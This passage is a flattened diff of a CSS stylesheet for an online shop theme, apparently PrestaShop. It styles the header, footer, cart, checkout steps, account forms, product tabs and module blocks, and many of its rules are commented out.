url('../img/bg_comments.jpg') repeat-y top center; +} + +/* ************************************************************************************************ + HEADER +************************************************************************************************ */ +#header { + position:relative +} +#header_logo { + /*position: absolute; + top: 30px;*/ + position:relative; + z-index: 3; + width:318px; + margin:0 auto; + display:block; +} +#header_logo img{ + width:318px; + height:107px; +} + +#header_right { + position:absolute; + z-index:2; + right:-10px; + top:33px; + float: right; + width:auto; + line-height:36px; + height:36px; +/* background:url('../img/headerInfos.jpg') no-repeat 0 0;*/ + padding:0 11px 0; + + + background-color:#292929; + background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0.0,#292929),color-stop(1,#121212)); + background-image:-o-linear-gradient(top,#292929,#121212); + background-image:-moz-linear-gradient(center top,#292929 0%,#121212 100%); + border:1px solid #333333; + -moz-border-radius:1px; + -webkit-border-radius:1px; + border-radius:1px; +} +body #header_user{ + min-width:1px; + width:auto; +} +body #header_user li{ + margin:0 0px 0 0; +} +body #header_right #languages_block_top{ + padding-left:10px; +} +#header_user li#shopping_cart{ + padding: 0 6px 0 6px; + width: auto; + white-space:nowrap; +} + + +/* ************************************************************************************************ + BREADCRUMB +************************************************************************************************ */ +.breadcrumb { + margin-bottom:10px; + font-size:11px; + color:#bfda3f; +} +.breadcrumb .navigation-pipe {margin:0 3px 0 5px;color:white;font-size:11px;} +.breadcrumb a{color:white;font-size:11px;text-decoration:none;} + + +/* ************************************************************************************************ + FOOTER +************************************************************************************************ */ +.footer_wrapper{ + background:#000; + border-top:1px solid #333; +} +#footer { + color:#cccccc; + padding:27px 0; + margin:38px 0 0; + display:block; + clear:both; +} + .blockcategories_footer, + #footer .myaccount , + #block_various_links_footer, + #social_block, + #block_contact_infos { + float:left; + width:175px + } + .blockcategories_footer {margin-left:0} +#footer .title_block { + padding-bottom: 10px; + text-transform:uppercase +} +#footer .title_block , +#footer .title_block a { + font-weight:normal; + font-size:14px; + color:#fff +} +#footer a {color:#fff} +#footer a:hover {text-decoration:underline} +#footer ul {list-style-type:none;text-align:center;} +#footer li{padding:0;border-right:2px solid #2e2e2e;height:6px;display:inline;} +#footer li:last-child{border-right:0;} +#footer li a {color:#fff;font-size:10px;line-height:12px;padding:7px 17px;} +#footer li.green a{color:#31a20a} + +#footer #social_block{ + width:200px; + display:block; + margin:25px auto 82px; + float:none; +} +#footer #social_block ul li{margin:0 10px 0 0;} +#footer #social_block ul li:last-child{margin:0;} +#footer #social_block ul li a, +#footer #social_block ul li{padding:0;border:0;display:inline-block;width:31px;height:31px;} +#footer #social_block ul li a{background:url('../img/sprite_social.png') no-repeat;} +#footer #social_block ul li.facebook a{background-position:0 0;} +#footer #social_block ul li.facebook:hover a, +#footer #social_block ul li.facebook a:hover{background-position:0 -31px;} +#footer #social_block ul li.twitter a{background-position:-41px 0;} +#footer #social_block ul li.twitter:hover a, +#footer #social_block ul li.twitter a:hover{background-position:-41px -31px;} +#footer #social_block ul li.rss a{background-position:-82px 0;} +#footer #social_block ul li.rss:hover a, +#footer #social_block ul li.rss a:hover{background-position:-82px -31px;} +#footer #social_block ul li.instagram a{background-position:-123px 0;} +#footer #social_block ul li.instagram:hover a, +#footer #social_block ul li.instagram a:hover{background-position:-123px -31px;} + + + +/* ************************************************************************************************ + PRODUCT PAGE +************************************************************************************************ */ + +/* BLOCK idTabs ******************************************************************************** */ +.idTabs { + list-style-type: none; + margin-top: 20px; + border-bottom: 8px solid #f7b900 +} +ul.idTabs li { + float: left; + margin-right: 1px +} +.idTabs a { + display:block; + padding:10px 10px 7px 10px; + font-weight:bold; + text-decoration:none; + color:#fff; + background:#000 +} +.idTabs .selected { + color:#000; + background: url(../img/bg_li_idTabs.png) repeat-x 0 0 +} + +#more_info_sheets {padding-top:10px} +#more_info_sheets ul, +#more_info_sheets ol, +#more_info_sheets dl {margin-left:20px} +#more_info_sheets em {font-style:italic} + +#more_info_sheets .product_desc{ + margin-top:5px +} + +#more_info_sheets .product_desc .product_image{ + float:left +} + +#more_info_sheets .product_desc .block_description{ + float:left; + margin-left:10px; + width:420px +} +#more_info_sheets .product_desc .clear_product_desc{ + clear:both; + height:0px; + line-height:0px +} + +/* Make sure lists are correctly displayed in tinyMCE BO edition mode too */ +#short_description_content ul, +#short_description_content ol, +#short_description_content dl, +#tinymce ul, +#tinymce ol, +#tinymce dl {margin-left:20px} + +.block_hidden_only_for_screen {display:none} + + +/* ************************************************************************************************ + PAGE AUTHENTIFICATION +************************************************************************************************ */ +#authentication #left_column {display:none} + + + +/* ************************************************************************************************ + PAIMENT - PAGE ORDER +************************************************************************************************ */ + +/* nav bottom ********************************************************************************** */ +#order #left_column , #order-confirmation #left_column {display:none} + +.cart_navigation {margin:20px 0} +.cart_navigation .exclusive, +.cart_navigation .exclusive_large { + float:right +} +.cart_navigation .button, +.cart_navigation .button_large { + border-color:#ccc; + background-image:url(../img/bg_bt_2.gif) +} + + +/* step 1 - cart ******************************************************************************* */ +.cart_last_product {display:none} + +/*p.cart_navigation .multishipping-button { margin-right: 10px }*/ + +#order-detail-content {margin-bottom:20px} +/* +table#cart_summary th { + padding:14px 12px; + color:#fff; + font-weight:bold; + text-transform:uppercase; + text-shadow:0 1px 0 #666; + background:url(../img/bg_table_th.png) repeat-x 0 -15px #999 + +} +table#cart_summary th.cart_product {text-align:center} +table#cart_summary td { + padding:12px; + border-right:1px solid #e9e9e9; + border-bottom:1px solid #e9e9e9; + font-weight:bold; + font-size:12px; + vertical-align:top +} +table#cart_summary td.cart_delete, +table#cart_summary td.price_discount_del {border-right:none;text-align: center} +table#cart_summary .last_item td {border-bottom:1px solid #999} + + +table#cart_summary tr.cart_item.odd, +table#cart_summary tr.cart_total_delivery, +table#cart_summary tr.cart_total_price, +table#cart_summary tr.cart_total_voucher{ + background-color: #fff +} +table#cart_summary tr.cart_item.even { + background-color: #f3f3f3 +} +*/ +table#cart_summary tr.customization.odd { + background-color: #fff +} +table#cart_summary tr.customization.even { + background-color: #f3f3f3 +} + +table#cart_summary tr ul { + list-style: none; +} +table#cart_summary .cart_product { + width:80px; + text-align:center +} +table#cart_summary tbody tr:last-child td { + border-bottom: 1px solid #999; +} +table#cart_summary tbody tr td.cart_discount_delete { + padding-left: 34px; +} +table#cart_summary .cart_product img {border:1px solid #ccc} +table#cart_summary .cart_description { + width:230px; +} +table#cart_summary .cart_unit {width:130px;text-align: center} +table#cart_summary td.cart_unit {text-align: right} +table#cart_summary .cart_quantity {width:130px; text-align: center;} +table#cart_summary .customization .cart_quantity {padding: 8px 12px 0;} +.cart_quantity .cart_quantity_input { + float:left; + margin-left: 5px; + width: 20px; + border:1px solid #fff +} +.cart_quantity .cart_quantity_button { +} +table#cart_summary .cart_total {width:120px;text-align: center} +table#cart_summary td.cart_total {text-align: right} +table#cart_summary .price_discount_del, +table#cart_summary .cart_delete { + text-align:center +} +table#cart_summary .cart_discount_price {text-align: right} +.cart_delete a.cart_quantity_delete, +a.price_discount_delete { +} + +.cart_total_price .total_price_container { + border-right:none; +} + +table#cart_summary .cart_total_price td.cart_voucher { + border-bottom:1px solid #999; + vertical-align:middle +} + +table#cart_summary #total_price_container { + border:0; + font-size:14px; +} + + +.cart_voucher .title_block, .cart_voucher h4 +.cart_voucher p {float:left;} +.cart_voucher .title_block, .cart_voucher h4 { + margin-right:12px; + padding:5px 0; + font-size:13px +} +.cart_voucher p {padding-bottom:0;} + +.cart_voucher p.discount_name_block {float:left;} +.cart_voucher #display_cart_vouchers { + clear:both; + line-height: 20px; + color:#666; + padding-top:2px; + font-weight:normal; + border-top:1px dotted #ccc +} +.cart_voucher .title_offers { + margin-top:15px; + margin-bottom:5px +} +.cart_voucher #display_cart_vouchers span { + font-weight:bold; + cursor:pointer; +} +.cart_voucher input.discount_name { + padding:0 5px; + height:22px; + width:170px;/* 180 */ + border:1px solid #ccc; + font-weight:normal; + background:url(../img/bg_discount_name.png) repeat-x 0 0 #fff +} +.cart_voucher .submit input.button { + margin-left:2px; + padding:2px; + height:24px; + border:1px solid #000; + -moz-border-radius:0; + -webkit-border-radius:0; + border-radius:0; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_cart_voucher_submit.png) repeat-x 0 0 #000 +} + +#cart_summary .price { + border-right:none; + text-align: right; + white-space: nowrap; +} +.total_price_container p {text-align: left} + +table#cart_summary .cart_total_price .total_price_container { + padding:0; + border-bottom:1px solid #999; + border-right:1px solid #999; +} +.cart_total_price .total_price_container p { + display:block; + padding:8px; + font-weight:bold; + color:#fff; + text-transform:uppercase; + background:#333 +} +.cart_total_price .total_price_container span { + display:block; + padding:15px; + font-weight:bold; + font-size:18px; + text-align:center +} + +#order_carrier { + clear:both; + margin-top:20px; + border:1px solid #999; + background:#fff +} +#order_carrier .title_block { + padding:0 15px; + height: 29px; + font-weight: bold; + line-height:29px; + color:#fff; + font-weight:bold; + text-transform:uppercase; + background:url(../img/bg_table_th.png) repeat-x 0 -10px #999 +} +#order_carrier span { + display:block; + padding:15px; + font-weight:bold +} + +.order_delivery .first_item {margin-right:35px;} + +.multishipping_close_container { + text-align: center; +} + +table#cart_summary .gift-icon { + color: white; + background: #0088CC; + line-height: 20px; + padding: 2px 5px; + border-radius: 5px; +} + +float:right +} + +.lost_password { + float:left; + width:200px +} +.lost_password a {color:#666} + +#order-opc .lost_password { + display:block; + float:none; + margin:5px 0 10px; + width:auto; + font-size:11px; + color:#666 +} + + +/* step 3 - address ************************************************************************** */ + +.address-form-multishipping { padding: 10px 0px; } +#multishipping_mode_box { + border: 1px solid #D0D3D8; + background: url("../img/form_bg.jpg") repeat-x scroll left top #D0D1D5; + margin-bottom: 10px; + padding: 5px; +} +#multishipping_mode_checkbox { + vertical-align: middle; + margin-right: 5px; +} +#multishipping_mode_box.on { + border: 1px solid #ddd; +} +#multishipping_mode_box .title { + padding: 5px; + font-weight: bold; +} +#multishipping_mode_box .description, #multishipping_mode_box .description_off { + padding: 5px; +} +#multishipping_mode_box .description_off { + display: none; + padding: 5px; +} +#multishipping_mode_box .description_off div { + margin-bottom: 10px; +} +#multishipping_mode_box .description_off a, #multishipping_mode_box .description a { + display: block; + text-align: center; + text-decoration: none; + padding: 5px 10px; + margin: 0 160px; + border: 1px solid #ccc; + background: #ddd; +} +#multishipping_mode_box .description_off a:hover, #multishipping_mode_box .description a:hover { + background: #f3f3f3; + border: 1px solid #ccc; +} +#multishipping_mode_box.on .description_off { + display: block; +} + + +/* step 4 - paiement ************************************************************************** */ +/* +.delivery_options { + border: 1px solid #BDC2C9; + border-top: 0; +}*/ + +#order .delivery_options_address h3, #order-opc .delivery_options_address h3 { +/*background: url("../img/table_header.gif") no-repeat; +color: #374853; +font-weight: bold; +height: 14px; +padding: 5px 10px; +margin: 10px 0 0 0;*/ + /*padding: 6px 11px; + font-size: 12px; + color: #fff; + text-transform: uppercase; + background: none repeat scroll 0 0 #383838;*/ +} +/* +#order .delivery_option_radio, #order-opc .delivery_option_radio { + float: left; + margin: 21px 12px; +} +#order .delivery_option label, #order-opc .delivery_option label { + display: block; + padding-bottom: 5px; + padding-top: 5px; +} +#order .delivery_option label > table.resume, #order-opc .delivery_option label > table.resume { + height: 46px; + width: 685px; +} +#order .delivery_option.item, #order-opc .delivery_option.item { + background: #fafafa; +} +#order .delivery_option.alternate_item, #order-opc .delivery_option.alternate_item { + border-top: 1px solid #bdc2c9; + background: #f1f2f4; + border-bottom: 1px solid #bdc2c9; +} +#order .delivery_option label > table.resume td, #order-opc .delivery_option label > table.resume td { + padding: 0 8px; +} +#order .delivery_option label > table.resume td + td, #order-opc .delivery_option label > table.resume td + td { + width: 300px; +} +#order .delivery_option label > table.resume td + td + td, #order-opc .delivery_option label > table.resume td + td + td { + width: 100px; + text-align: right; +} +#order .delivery_option_carrier td {width:200px} +#order .delivery_option_carrier td + td {width:280px;} +#order .delivery_option_carrier td + td + td {width:200px} +#order .delivery_options_address .delivery_option_logo, #order .delivery_option_carrier .delivery_option_logo, #order-opc .delivery_options_address .delivery_option_logo { + padding-left:10px; + width: 160px; +} +#order .delivery_options_address .delivery_option_logo img, #order-opc .delivery_options_address .delivery_option_logo img { } +#order .delivery_option_carrier .first_item, #order-opc .delivery_option_carrier .first_item { + padding: 3px 5px 3px 12px; + background:url(../img/arrow_right_2.png) no-repeat 3px 7px +} +*/ + +#carrierTable { + border:1px solid #999; + border-bottom:none; + background:#fff +} + +#carrierTable tbody{ + border-bottom:1px solid #999; +} +#carrierTable th { + padding:0 15px; + height: 29px; + font-weight: bold; + line-height:29px; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_table_th.png) repeat-x 0 -10px #999 +} +#carrierTable td { + padding:15px; + font-weight:bold; + border-right:1px solid #e9e9e9 +} +#carrierTable td.carrier_price {border:none} + +#gift_div { + display:none; + padding-bottom:10px +} +#gift_div label { + display:block; + margin-bottom:5px +} +#gift_div #gift_message { + height:50px; + width:720px; + border:1px solid #999 +} + +a.iframe {font-weight:bold} + +.hook_extracarrier { + margin-top: 5px; + padding: 5px; +} + + + +/* ************************************************************************************************ + PAGE ORDER-OPC +************************************************************************************************ */ +#order-opc #left_column {display:none} + + +#order-opc h2 {} +#order-opc h2 span { + display:inline-block; + padding:5px 7px; + color:#fff; + background:#cccccc; +} + +#order-opc #login_form fieldset { + background: none repeat scroll 0 0 #FFFFE0; + border: 1px solid #E6DB55; + font-size: 13px; + margin: 0 0 10px; + padding: 10px; +} +#order-opc #login_form fieldset p {padding:0} +#order-opc #login_form fieldset p a {padding:0} + +#order-opc #new_account_form p.submit { + margin-right: 120px; + text-align:right +} +#order-opc #new_account_form p.opc-required {margin-left:20px} + +#order-opc .addresses {margin-bottom:20px} + +#order-opc #opc_delivery_methods h3 {margin-top:20px;} +#order-opc #opc_delivery_methods textarea { + height:60px; + width:723px; + border:1px solid #ccc +} +#order-opc #opc_delivery_methods #message { + width: 757px; +} +#order-opc #opc_payment_methods {margin-bottom:20px} +#order-opc #opc_payment_methods #opc_payment_methods-content p{margin:0} +/* +.delivery_option_carrier td {width:200px} +.delivery_option_carrier td + td {width:280px;} +.delivery_option_carrier td + td + td {width:200px} +.delivery_option_carrier { + margin: 5px 0 0 45px; + width: 670px; + display: none; +} + .delivery_option_carrier tr td { + padding: 5px; +} +.delivery_option_carrier.selected { + display: table; +} +.delivery_option_carrier.not-displayable { + display: none; +} +.delivery_option_title { + font-weight: bold; +} +*/ + +/* ************************************************************************************************ + express checkout +************************************************************************************************ */ +#new_account_form {clear:both;margin-bottom: 20px} +#new_account_form h3 { + margin-bottom:20px; + padding:8px; + border-bottom:1px solid #ccc; + font-weight:bold; + font-size:12px; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_form_h3.png) repeat-x 0 0 #989898 +} +#center_column #new_account_form p { + margin:0; + padding:0 0 10px 0 +} +#new_account_form p.required {color:#222} +#new_account_form p.required sup {color:#990000} +#new_account_form p.radio span, +#new_account_form p.text label, +#new_account_form p.password label, +#new_account_form p.select label, +#new_account_form p.select span, +#new_account_form p.textarea label { + display: inline-block; + padding: 6px 15px; + width: 230px; + font-size: 14px; + text-align: right +} +#new_account_form p.radio label { + float:none; + padding-right:10px; + width:auto; + font-size:14px; +} +#new_account_form p.checkbox label { + float: none; + width: auto; + font-size: 12px; +} +#new_account_form p.text input, +#new_account_form p.password input, +#new_account_form p.select input { + height:22px; + padding:0 5px; + width:360px; + border:1px solid #ccc; + font-size:12px; + color:#666 +} +#new_account_form p.checkbox input {margin-left: 260px;} + +#new_account_form #submitGuestAccount {float: right} + +/* ************************************************************************************************ */ + +/* ************************************************************************************************ + paiment - CONFIRMATION +************************************************************************************************ */ +#orderconfirmation #left_column {display:none} + + +/* ************************************************************************************************ + PAGE PASSWORD +************************************************************************************************ */ +#form_forgotpassword fieldset { + padding: 10px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; + background: #eee +} +#form_forgotpassword p.text label { + display: inline-block; + padding-right: 10px; + width: 174px; + font-weight: bold; + font-size: 12px; + text-align: right +} +#form_forgotpassword p.text input { + padding: 0 5px; + height: 20px; + width: 288px; + border: 1px solid #ccc; + background: url(../img/bg_input.png) repeat-x 0 0 #fff +} +#form_forgotpassword p.submit { + margin-right:25px; + padding-bottom:5px; + text-align:right +} + +#password .icon { + position:relative; + top:6px; +} + + +/* ************************************************************************************************ + PAGE ADRESSES +************************************************************************************************ */ +#addresses #left_column {display:none} + +#address p.inline-infos { + margin:0 0 0 265px !important; + font-size:12px; + color:#666; +} + + +/* ************************************************************************************************ + PAGE ADD ADRESS +************************************************************************************************ +#address #left_column {display:none} + +form#add_address {} +#add_address fieldset { + margin:0; + border:1px solid #ccc; + background:#F8F8F8 +} +#add_address h3 { + margin:0 0 15px 0; + padding:8px; + font-size:14px; + color:#fff; + text-transform:uppercase; + background:url(../img/bg_form_h3.png) repeat-x 0 0 #989898 +} +#center_column #add_address p {margin:0; padding:0 0 10px 0} +#add_address p.required {color:#222} +#add_address p.required sup {color:#990000} + +#add_address p.text label, +#add_address p.password label, +#add_address p.select label, +#add_address p.select span, +#add_address p.textarea label { + display:inline-block; + padding:6px 15px; + width:230px; + font-size:14px; + text-align:right +} +#add_address p.text input, +#add_address p.password input, +#add_address p.select input { + padding:0 5px; + height:22px; + width:360px; + border:1px solid #ccc; + font-size: 12px; + color:#666; + line-height:22px +} +#add_address p.checkbox input { + margin-left:260px; +} +#add_address p.select select { + margin-right:10px; + border:1px solid #ccc; + font-size: 12px; + color:#666 +} +#add_address p.textarea label {vertical-align:top} +#add_address p.textarea textarea { + height:80px; + width:370px; + border:1px solid #ccc; + font-size: 12px; + color:#666 +} +#center_column #add_address p.submit2 { + margin-top:20px; + text-align:right +} + +#add_address span.form_info, +#add_address span.inline-infos { + display:block; + margin:5px 0 0 265px; + color:#666 +}*/ + + +/* ************************************************************************************************ + PAGE ORDER-SPLIP +************************************************************************************************ */ +#order-slip #left_column {display:none} + +#order-slip #order-list {border-bottom:1px solid #999} +#order-slip #order-list td { + border-top: 1px solid #ccc; + border-bottom:none +} +#order-slip #order-list td.history_invoice {border-right:none} + + +/* ************************************************************************************************ + PAGE DISCOUNT +************************************************************************************************ */ +#discount #left_column {display:none} + +#discount .table_block tr.last_item td {border-bottom:1px solid #999} +#discount .table_block td.discount_expiration_date {border-right:1px solid #999} +#discount .table_block td.discount_value {white-space:nowrap} + + +/* ************************************************************************************************ + PAGE ORDER FOLLOW +************************************************************************************************ */ +#order-follow #left_column {display:none} + + +/* ************************************************************************************************ + PAGE NEW-PRODUCTS +************************************************************************************************ */ +#newproducts .sortPagiBar {margin-bottom:20px} + + +/* ************************************************************************************************ + PAGE BEST SALES +************************************************************************************************ */ +#bestsales .sortPagiBar {margin-bottom:20px} + +/* ************************************************************************************************ + PAGE PRICES DROP SALES +************************************************************************************************ */ +#pricesdrop .sortPagiBar {margin-bottom:20px} + + +/* ************************************************************************************************ + PAGE MANUFACTURER +************************************************************************************************ */ +#manufacturer .nbrmanufacturer { + margin: 15px 0 10px; + padding: 8px 7px; + font-size:12px; + color: #000; + background: none repeat scroll 0 0 #f0f0f0 +} + +#manufacturer #product_list {margin-top:15px} + +ul#manufacturers_list {list-style-type:none} +ul#manufacturers_list li { + margin-bottom: 14px; + padding: 12px 8px; + border: 1px solid #eee; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius:3px; +} +ul#manufacturers_list li a.lnk_img { + display: block; + float: left; +} +ul#manufacturers_list li img { + display: block; + float: left; + margin-right: 14px; + border: 1px solid #ccc; + vertical-align: bottom +} +ul#manufacturers_list li h3 { + padding: 0 0 10px; + font-size: 13px; + color: #000 +} +ul#manufacturers_list li .description { + overflow: hidden; + padding: 0; + font-size:12px; + color:#666 +} +ul#manufacturers_list li .right_side {float:right;} + +.description_box { + border: 1px solid #CCCCCC; + border-radius: 3px 3px 3px 3px; + box-shadow: 0 1px 1px #E2E2E2; + padding: 5px; + margin-bottom: 20px; + font-size: 12px; + line-height: 18px; +} +.description_box p { + margin: 0; + padding: 0 10px 5px; +} +.description_box .hide_desc { + display: none; +} +.description_box .lnk_more { + background: url("../img/arrow_right_1.png") no-repeat scroll 100% 4px transparent; + color: #0088CC; + padding: 0 10px; +} +.description_box ul { + padding-left: 30px; + padding-bottom: 10px; +} + +/* ************************************************************************************************ + PAGE SUPPLIER +************************************************************************************************ */ +#supplier .nbrmanufacturer { + margin: 15px 0 10px; + padding: 8px 7px; + font-size:12px; + color: #000; + background: none repeat scroll 0 0 #f0f0f0 +} +ul#suppliers_list {list-style-type:none} +ul#suppliers_list li { + margin-bottom: 14px; + padding: 12px 8px; + border: 1px solid #eee; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius:3px; +} +ul#suppliers_list li a.lnk_img { + display: block; + float: left; +} +ul#suppliers_list li img { + display: block; + float: left; + margin-right: 14px; + border: 1px solid #ccc; + vertical-align: bottom +} +ul#suppliers_list li h3 { + padding: 0 0 10px; + font-size: 13px; + color: #000 +} +ul#suppliers_list li .description { + overflow: hidden; + padding: 0; + font-size:12px; + color:#666 +} +ul#suppliers_list li .right_side {float:right;} + + +/* ************************************************************************************************ + PAGE SEARCH +************************************************************************************************ */ +#search h3.nbresult { + margin:0 0 10px 0; + padding:10px; + border:1px solid #e6db55; + font-size:13px; + background:#ffffe0 +} +#search .sortPagiBar {margin-bottom:20px} + + +/* ************************************************************************************************ + PAGE 404 +************************************************************************************************ */ +#pagenotfound #left_column, +#pagenotfound #right_column, +#pagenotfound #footer {display:none} + +#pagenotfound #left_column, +#pagenotfound #right_column, +#pagenotfound #footer {display:none} + +#pagenotfound #center_column {width:940px;} + +#pagenotfound .pagenotfound { + padding:30px 300px 0 0; + height:330px; + font-size:14px; + background:url(../img/bg_404.png) no-repeat 100% 0 +} +#pagenotfound h3 { + font-weight:normal; + font-size:14px +} +#pagenotfound fieldset {border:none} +#pagenotfound fieldset label {color:#333} +#pagenotfound #search_query { + -moz-border-bottom-colors: none; + -moz-border-image: none; + -moz-border-left-colors: none; + -moz-border-right-colors: none; + -moz-border-top-colors: none; + border-bottom: 1px solid #666; + border-left: 1px solid #666; + border-right: 1px solid #fff !important; + border-top: 1px solid #666; + padding: 0 5px; + height: 24px; + width: 200px; + color: #ccc; + background: url(../../../modules/blocksearch/img/bg_search_input.png) repeat-x scroll 0 0 #fff +} +#pagenotfound .button_small { + padding: 4px 7px; + border: medium none; + -moz-border-radius:0; + -webkit-border-radius:0; + border-radius:0; + color: #fff; + text-transform: uppercase; + background: url("../../../modules/blocksearch/img/bg_search_submit.png") repeat-x scroll 0 0 #101010 +} +#pagenotfound .pagenotfound a { + font-weight:bold; + color:#333 +} +#pagenotfound .pagenotfound .icon { + position:relative; + top:3px +} + + +/* ************************************************************************************************ + addons payment cheque +************************************************************************************************ */ +#module-cheque-payment #left_column {display:none} + + +/* ************************************************************************************************ + addons payment bankwire +************************************************************************************************ */ +#module-bankwire-payment #left_column {display:none} + + +/* ************************************************************************************************ + addons google checkout +************************************************************************************************ */ +#module-gcheckout-payment #left_column {display:none} + +/* ************************************************************************************************ + addons paypal +************************************************************************************************ */ +#module-payment-submit #left_column {display:none} + + +/* ************************************************************************************************ + addons cashondelivery validation +************************************************************************************************ */ +#module-cashondelivery-validation #left_column {display:none} + + +/* ************************************************************************************************ + addon RerversoForm +************************************************************************************************ */ +#account-creation_form fieldset.reversoform {padding:10px !important} +#account-creation_form fieldset.reversoform .text label{ + display:block; + padding:0 0 10px 0; + width:100%; + text-align:left; +} +#account-creation_form fieldset.reversoform .infos-sup { + padding:0 !important; + font-size:10px; + font-style:italic; + text-align:right +} +/* ************************************************************************************************ + addon customer privacy +************************************************************************************************ */ +#account-creation_form fieldset.customerprivacy label, fieldset.customerprivacy label{ + padding-bottom:0; + font-size:14px; + text-align:left; + cursor:pointer +} + +/* ************************************************************************************************ + addon referralprogram +************************************************************************************************ */ +#module-referralprogram-referralprogram-program #left_column {display:none} + +#footer .myaccount li.referralprogram img {display:none} + +#module-referralprogram-referralprogram-program .sheets {padding-top:10px} + +#module-referralprogram-referralprogram-program form p.checkbox {font-weight:bold} +#module-referralprogram-referralprogram-program form p.checkbox a {text-decoration:underline} +#module-referralprogram-referralprogram-program form p.submit {text-align:right} +#module-referralprogram-referralprogram-program form p.see_email { + padding-left:10px; + color: #0088cc; + background:url(../img/arrow_right_1.png) no-repeat 0 4px; +} +#module-referralprogram-referralprogram-program form p.see_email a { + color: #0088cc; + text-decoration:underline +} + +/* ************************************************************************************************ + addon loyalty +************************************************************************************************ */ +#module-loyalty-default #left_column {display:none} + +#product p#loyalty { + padding:10px 0 0 20px; + border-top:1px solid #ccc; + background:url(../img/icon/info.png) no-repeat 0 8px; + margin-top: 10px; +} + +#footer .myaccount li.loyalty img {display:none} + + +/* ************************************************************************************************ + addon Livezilla +************************************************************************************************ */ +#livezilla_lnk { + margin:10px 0; + text-align: right +} +#livezilla_lnk a { + display:inline-block; + padding:6px 8px 8px 8px; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; + font:bold 10px Arial,Verdana,sans-serif; + color:#fff; + background: url(../img/bg_bt_compare.gif) repeat-x scroll 0 0 #000 +} +#livezilla_lnk a:hover {text-decoration:none} + +/* ************************************************************************************************ + addons comments products +************************************************************************************************ */ +form#sendComment fieldset{ + padding:10px; + border:1px solid #ccc; + background:#eee +} +form#sendComment h3 {font-size:14px;} +#new_comment_form p.text { + margin-bottom: 0; + padding-bottom: 0; +} +#sendComment p.text label, +#sendComment p.textarea label { + display: block; + margin: 12px 0 4px; + font-weight: bold; + font-size: 12px; +} +#sendComment p.text input { + padding: 0 5px; + height: 28px; + width: 498px; + border: 1px solid #ccc; + background: url(../img/bg_input.png) repeat-x 0 0 #fff; +} +#sendComment p.textarea textarea { + height:80px; +} +#sendComment p.submit { + padding:0; + text-align:right +} + +#sendComment p.closeform { + float:right; + padding:0; + height:12px; + width:12px; + text-indent:-5000px; + background:url(../img/icon/delete.gif) no-repeat 0 0 +} + +.star { + position: relative; + top:2px; + float: left; + height: 12px; + width: 12px; + overflow: hidden; + text-indent: -999em; + cursor: pointer +} +.star, .star a { background: url(../img/star.png) no-repeat 0 0 } +div.star_on a { background-position: 0 bottom } +div.star_hover a, div.star a:hover { background-position: 0 bottom } + + +/* ************************************************************************************************ + xxxxx +************************************************************************************************ */ + + +/* ************************************************************************************************ + guest tracking +************************************************************************************************ */ + +#guest-tracking fieldset p:first-child { + padding-top: 10px; +} +#guest-tracking fieldset p:last-child { + padding-bottom: 10px; +} + + + +/* ************************************************************************************************ + CSS Modules +************************************************************************************************ */ + +/******* IMPORTANT - Internet Explorer can read 31 CSS files max. Some CSS have been put here and erased from their own module folder.************/ + +/*************** Block ADVERTISING ***************/ +.advertising_block { width: 191px; margin-bottom: 1em; text-align: center } + + + +/*************** Block CATEGORIES ***************/ +#categories_block_left li {border-bottom:1px dotted #ccc} + #categories_block_left li.last { border:none;} + #categories_block_left li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockcategories/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + + #categories_block_left li ul {margin-left:40px} + #categories_block_left li ul li {border:none} + #categories_block_left li ul li a { + padding-left:0; + background:none + } + +#categories_block_left li .OPEN, +#categories_block_left li .CLOSE { + display:block; + float:right; + margin:10px 10px 0; + height:9px; + width:9px; + background:url(../../../modules/blockcategories/img/icon/open-close.png) no-repeat 0 -9px; + cursor:pointer +} +#categories_block_left li .CLOSE {background-position:0 0} + + +/* footer */ +.blockcategories_footer { + padding:15px 10px; +} +.blockcategories_footer .category_footer {float:left;clear:none;} +.blockcategories_footer .category_footer .list{float:left;} +.blockcategories_footer ul ul {display:none !important} + + + +/*************** Block CMS ***************/ +/* footer */ +#footer .block_various_links {padding:15px 10px;} + +/* Block CMS links */ +.informations_block_left li {border-bottom:1px dotted #eee} +.informations_block_left li.last {border:none;} +.informations_block_left li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockcms/img/arrow_right_2.png) no-repeat 10px 10px transparent; +} + +tr.subitem > td:first-child + td { + padding-left: 10px; +} + + + +/*************** Block CONTACTINFOS ***************/ + +#block_contact_infos {padding:15px 10px;} +#block_contact_infos li { + padding:0 !important; + line-height: 20px; +} +#block_contact_infos li strong { + font-weight:normal; + font-size:13px; +} +#block_contact_infos li pre {font: 11px/20px Arial,Verdana,sans-serif;} + + + +/*************** Block LINK ***************/ +#links_block_left .block_content li {border-bottom:1px dotted #eee} +#links_block_left .block_contentt li.last {border:none;} +#links_block_left .block_content li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blocklink/img/arrow_right_2.png) no-repeat 10px 10px transparent; +} + + + +/*************** Block MANUFACTURER ***************/ +.blockmanufacturer li {border-bottom:1px dotted #ccc} +.blockmanufacturer li.last { border:none;} + .blockmanufacturer li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockmanufacturer/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + + +.blockmanufacturer form {margin-top:10px;} +.blockmanufacturer p { + padding:0; + text-align:center +} + +/*************** Block LOGO PAYMENT ***************/ + +.paiement_logo_block { width: 191px; text-align: center; margin-bottom: 1.5em } +.paiement_logo_block a { text-decoration: none } +.paiement_logo_block img { margin: 0 0.5em } + + + +/*************** Block RSS ***************/ +#rss_block_left p { + margin:0; + padding:10px; +} + +#rss_block_left li {border-bottom:1px dotted #ccc} +#rss_block_left li.last { border:none;} + #rss_block_left li a { + display:block; + padding:7px 11px 5px 22px; + color:#cccccc; + background:url(../../../modules/blockrss/img/arrow_right_2.png) no-repeat 10px 10px transparent + } + + +/*************** Block SOCIAL ***************/ +/* +#social_block {padding:15px 10px;} +#social_block li 